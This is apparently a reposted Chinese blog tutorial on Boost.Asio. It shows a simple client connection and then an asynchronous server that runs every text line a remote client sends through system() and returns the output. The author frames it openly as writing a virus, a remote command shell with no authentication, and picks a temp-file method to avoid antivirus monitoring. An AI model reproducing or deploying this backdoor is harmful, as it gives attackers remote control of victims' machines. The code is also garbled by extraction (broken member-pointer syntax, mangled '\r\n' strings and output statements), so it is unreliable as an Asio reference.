原文链接:http://blog.sneuron.com/?p=126
Asio进行简单的连接:
asio库的设计理念和其他库稍稍有些区别(我用过win sdk,.net,java,php),比方说你在这里不会明显的看到sockaddr的存在(socket address),并且在某些情况下提供了针对ipv4和ipv6的直接兼容性。
使用asio库首先必须有一条这样的声明
boost::asio::io_service ios;
相当于初始化了网络,不需要声明多个。
Asio库有一个节点(Endpoint)的概念,这个节点可以说相当于IP地址,或者说相当于sockaddr,但是还要来的更强大。比如说我们如果想连接一个服务器:
tcp::resolver::query rsv(host,”conn”);//第二个参数是service_name,应该只是标识用的
这里一个resolver对象进行查询操作,可以把指定的服务器或者IP地址化为节点。也就是说一个resolver里面可能包含多个节点,其中可能有 ipv4的,也可能有ipv6的。例如我们设其中的host为:std::string host(“wow.163.com“);//XD
tcp::resolver::iterator endpoint_iterator = resolver.resolve(query);//建立一个节点的迭代器来遍历resolver中的节点
tcp::resolver::iterator end;
tcp::socket sock(ios);//新建一个套接字,这个和其他库差不多了,注意这里要用到最初建立的那个初始化变量
boost::system::error_code err = boost::asio::error::host_not_found;//一个存储错误的变量
while(err && endpoint_iterator != end)//注意这里是在有错误,或者resolver中的节点列表非空的情况下循环
{
sock.close();
sock.connect(*endpoint_iterator++,err);//不断的重试连接所有在resolver中的节点
}
这样,在上下文中,我们并未提到选择的是ipv4还是ipv6,也就是说通用性和可移植性更好。
构建一个TELNET服务端:
我们同样需要初始化网络:
boost::asio::io_service ios;
boost::asio::ip::tcp::endpoint endpoint(boost::asio::ip::tcp::v4(),5454);
其中的第一个参数是在选择协议,相当于windows sdk的socket套接字中选择IPPROTO_IP协议,如果是tcp::v6()就是IPPROTO_IPV6了。第二个参数是端口,我这里选择5454。
boost::asio::ip::tcp::socket sock(ios);//我们还需要这个套接字
我们有了节点,套接字就可以接受连接了,这里与其他库不同的就是很简洁,比如说不用设置sockaddr,不用调用bind函数之类的。要接受连接我们还需要一个接收器,用它处理套接字:
boost::asio::ip::tcp::acceptor acceptor;
acceptor.async_accept(socket_m,boost::bind(&RCServer;::RCSAccept,this,boost::asio::placeholders::error));
这里是一个异步的套接字处理程序,RCServer是我建立的一个类,RCSAccept是一个成员函数,用来处理异步的接收响应。因为不能直接用成员函 数,所以这里用了boost::bind把一个成员函数绑定成了函数对象(Function Object)。关于第二个参数,其实这里应该是提供一个
boost::system::error_code引用类型来获取错误代码,而boost::asio::placeholders::error其实只是一个占位符而已……以后出现就不解释了,都是一个意思。下面是关于响应套接字的一个成员函数:
void RCSAccept(const boost::system::error_code& ec)
{
if(!ec)
{
std::cout<<”A client connected; rn”;
boost::asio::async_write(socket_m,boost::asio::buffer(“Link successed! rn>”),boost::bind
(&RCServer;::RCSWrite,this,boost::asio::placeholders::error));//用异步往客户端发送已连接的信息
boost::asio::async_read(socket_m,boost::asio::buffer(&recv;_m,length_m),boost::bind
(&RCServer;::RCSRead,this,boost::asio::placeholders::error));//这条语句和下一条语句的作用是设置当有数据来到的时候读取并发送回客户端,发送回去是为了客户端回显。
boost::asio::async_write(socket_m,boost::asio::buffer(&recv;_m,length_m),boost::bind
(&RCServer;::RCSWrite,this,boost::asio::placeholders::error));
acceptor_m.async_accept(socket_m,boost::bind(&RCServer;::RCSAccept,this,boost::asio::placeholders::error));// 这是是为了准备接受其他客户端,实际上我没设计这个功能……因为需要很多套接字,要两个类,以后再说吧。
}
}
上面又引用了两个函数,一个是RCSRead和RCSWrite,分别用于异步的读取和写入函数,实际上后者的写入函数是空函数。
void RCSRead(const boost::system::error_code& ec)
{
if(!ec)
{
recv_buffer_m += recv_m;
DisposeData();
boost::asio::async_read(socket_m,boost::asio::buffer(&recv;_m,length_m),boost::bind
(&RCServer;::RCSRead,this,boost::asio::placeholders::error));
}
}
这里是读取函数,实际上只是把缓冲区的数据写到成员变量的大缓冲区。由recv_buffer_m保存数据,用recv_m一个一个读取数据……asio 的异步通信有一个问题,就是假设你这里设置成,也就是async_reader的第二个参数设置缓冲区为100字节,那么哪怕数据只有99字节,也不会返 回到RCSRead函数中去处理,所以这里一个一个字节读取……当然这样很慢,但是实际上要是有客户端,能确定数据大小,那么这里完全可以扩大缓冲区。 recv_m不仅仅作为接收的小缓冲区,开始我们也把它绑定到了async_write上,也就是执行了回传的功能。DisposeData是我设置的一 个处理命令的函数,当判定达到一个命令的时候就执行,下面会讲到。
void DisposeData()
{
int pos = recv_buffer_m.find_first_of(“rn”);//我们这里假设一个命令以回车换行符结尾
if(pos == 0)//这里判定是避免接收了两个换行符(=。=但是好像多个就不行了,改成while就可以了)
{
recv_buffer_m.clear();
return;
}
if(pos != std::string::npos)
{
send_buffer_m = recv_buffer_m.substr(0,pos);//把接收缓冲区的数据移到发送缓冲区处理
recv_buffer_m.clear();
send_buffer_m += ” > temp.txt”;//这里的做法是为了命令回显,其实一般做这种执行命令的程序都是用通道(pipe)技术做的,咱们现在不是在做病毒嘛(因为某些杀 毒软件会监视文件系统)……所以用文件的间接的方法,但是也有好处……就是所有代码可移植,呵呵。
std::cout<<”Your command is : “<<<”; rn”;
system(send_buffer_m.c_str());//执行命令啦,标准函数
send_buffer_m.clear();
std::ifstream infile(“temp.txt”);//把命令结果写入的文件再读取出来
if(!infile.good())
{
std::cout<<”File open failed; rn”;
}
char buffer[100];
while(infile.getline(buffer,100))
{
send_buffer_m += std::string(buffer) + “rn”;
}
send_buffer_m += “>”;
infile.close();
remove(“temp.txt”);//删除临时文件,自然也是标准函数
std::cout<<<”rn”;
if(send_buffer_m == “>”)
{
boost::asio::async_write(socket_m,boost::asio::buffer(“The command is wrong; rn>”),boost::bind
(&RCServer;::RCSWrite,this,boost::asio::placeholders::error));//如果命令没执行成功或者错误,那么写入的文件是空的
}
else
{
boost::asio::async_write(socket_m,boost::asio::buffer(send_buffer_m),boost::bind
(&RCServer;::RCSWrite,this,boost::asio::placeholders::error));//执行成功的情况,send_buffer_m也是一个成员变量,临时存储信息
}
}
}